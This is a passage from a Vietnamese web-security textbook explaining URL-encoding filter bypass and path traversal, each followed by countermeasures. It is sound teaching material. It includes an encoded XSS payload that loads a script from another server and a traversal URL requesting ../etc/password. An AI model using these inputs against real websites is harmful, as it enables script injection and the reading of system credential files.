KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN

Một phần của tài liệu bao_mat_ung_dung_web_tren_internet_7039 (Trang 122 - 126)

III. Tấn công dựa vào kí tự rỗng IV. Ngôn ngữ trình chủ

Chương 10: Một số kĩ thuật tấn công khác

CHƯƠNG 10: MỘT SỐ KĨ THUẬT TẤN CÔNG KHÁC



I. MÃ HÓA URL (URL Encoding)

I.1. Khái niệm

Theo RFC 1738 định nghĩa URL và RFC 2369 cho URIs, những kí tự được giới hạn sử dụng trên URL hoặc URI là một tập các kí tự US-ASCII. Theo RFC 1738, 2369 những kí tự chữ số, kí tự đặc biệt như “ $-_.+!*’() ” và một số kí tự dành riêng là không bị mã hoá trên URL hay URIs. Còn những kí tự đặc biệt khác thì

được mã hóa như khoảng trắng, < > ”…Sau khi trình chủ nhận được dữ liệu này,

trình chủ sẽ tự động giải mã để thao tác như bình thường. Vậy hacker có thể lợi dụng được gì trong URL mã hóa này.

Những nhà phát triển ứng dụng có thể sẽ thiết kế ứng dụng để kiểm tra dữ liệu nhập vào của người dùng có hợp lệ hay không, những kí tự đặc biệc như < > trong thẻ script thường được dùng trong những kĩ thuật tấn công như XSS sẽ bị

lọai bỏ Vậy để hợp thức hóa nội dung dữ liệu cần nhập, hacker thay vì nhập trực

tiếp kí tự đặc biệt vào ô nhập thì họ có thể nhập những kí tự đã được mã hoá theo chuẩn RFC 1738, RFC 2369. Như vậy bằng cách đó, hacker có thể dễ dàng vượt qua kiểm soát này.

Chương 10: Một số kĩ thuật tấn công khác

Ví dụ 10.I.1-1:

http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22htt

p%3a%2f%2fwww.yourserver.com%2fbadscript.js%22%3e%3c%2fscript%3e

Biến mydata sẽ mang nội dung:

<script src="http://www.yourserver.com/badscript.js"></script>

I.2. Một số biện pháp phòng chống

• Tránh sử dụng phương thức GET vì nếu dùng GET, dữ liệu dễ dàng được thêm vào URL. Vì thế, sử dụng phương thức POST bất cứ khi nào có thể. • Trong trường hợp URL bắt buộc được sử dụng để chuyển dữ liệu lên trình

chủ, cần giới hạn kiểu dữ liệu, nên kiểm tra dữ liệu trong ứng dụng trước khi sử dụng.

• Không nên sử dụng ngôn ngữ máy khách để kiểm tra tính đúng đắn của dữ liệu.

II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN

II.1. Khái niệm

Nhiều ứng dụng sử dụng tập tin hệ thống của trình chủ trong “lớp trình bày” để hiển thị thông tin lưu trử tạm thời. Những tập tin này bao gồm những tập tin hình ảnh , tập tin HTML, hay những ứng dụng CGI. Thư mục WWW-ROOT là một thư mục gốc ảo bên trong trình chủ, nơi mà được truy xuất bởi trình duyệt. Ứng dụng lưu trữ thông tin bên trong hoặc bên ngòai WWW-ROOT.

Nếu ứng dụng không kiểm tra những kí tự đặc biệt, thường được sử dụng trong đường dẫn như “/” thì có thể rằng ứng dụng đã có một lỗ hổng cho kiểu tấn công

Chương 10: Một số kĩ thuật tấn công khác

vượt đường dẫn. Hacker có thể yêu cầu trình chủ trả về kết quả là nội dung những tập tin vật lí như /etc/password…

Tóm lại:

Kiểu tấn công này cũng dựa vào sự lỏng lẻo trong quá trình kiểm tra dữ liệu trên

URL, cookie, HTTP Header yêu cầu. Lợi dụng quyền truy xuất một tập tin của ứng dụng, nhờ đó hacker có thể xem được file lưu trữ trên hệ thống.

Ví dụ 10.II.1-1:

http://maydich.com/show.asp?result= “dangnhapthanhcong.asp”

nhưng nếu hacker thay đổi tên tập tin cần truy xuất như sau:

http://maydich.com/show.asp?result= ../etc/password

như vậy hacker có thể xem nội dung file password được lưu trữ trong hệ thống.

II.2. Một số biện pháp phòng chống

Việc phòng chống kiểu tấn công vượt đường dẫn là một thử thách lớn cho những nhà ứng dụng trong một hệ thống phân tán. Tuy nhiên, cách phòng chống tốt nhất vẫn là Ứng dụng cần kiểm tra việc truy xuất file trước khi xuất kết quả cho trình duyệt.

Chương 10: Một số kĩ thuật tấn công khác

Một phần của tài liệu bao_mat_ung_dung_web_tren_internet_7039 (Trang 122 - 126)

Tải bản đầy đủ (DOC)

(170 trang)
w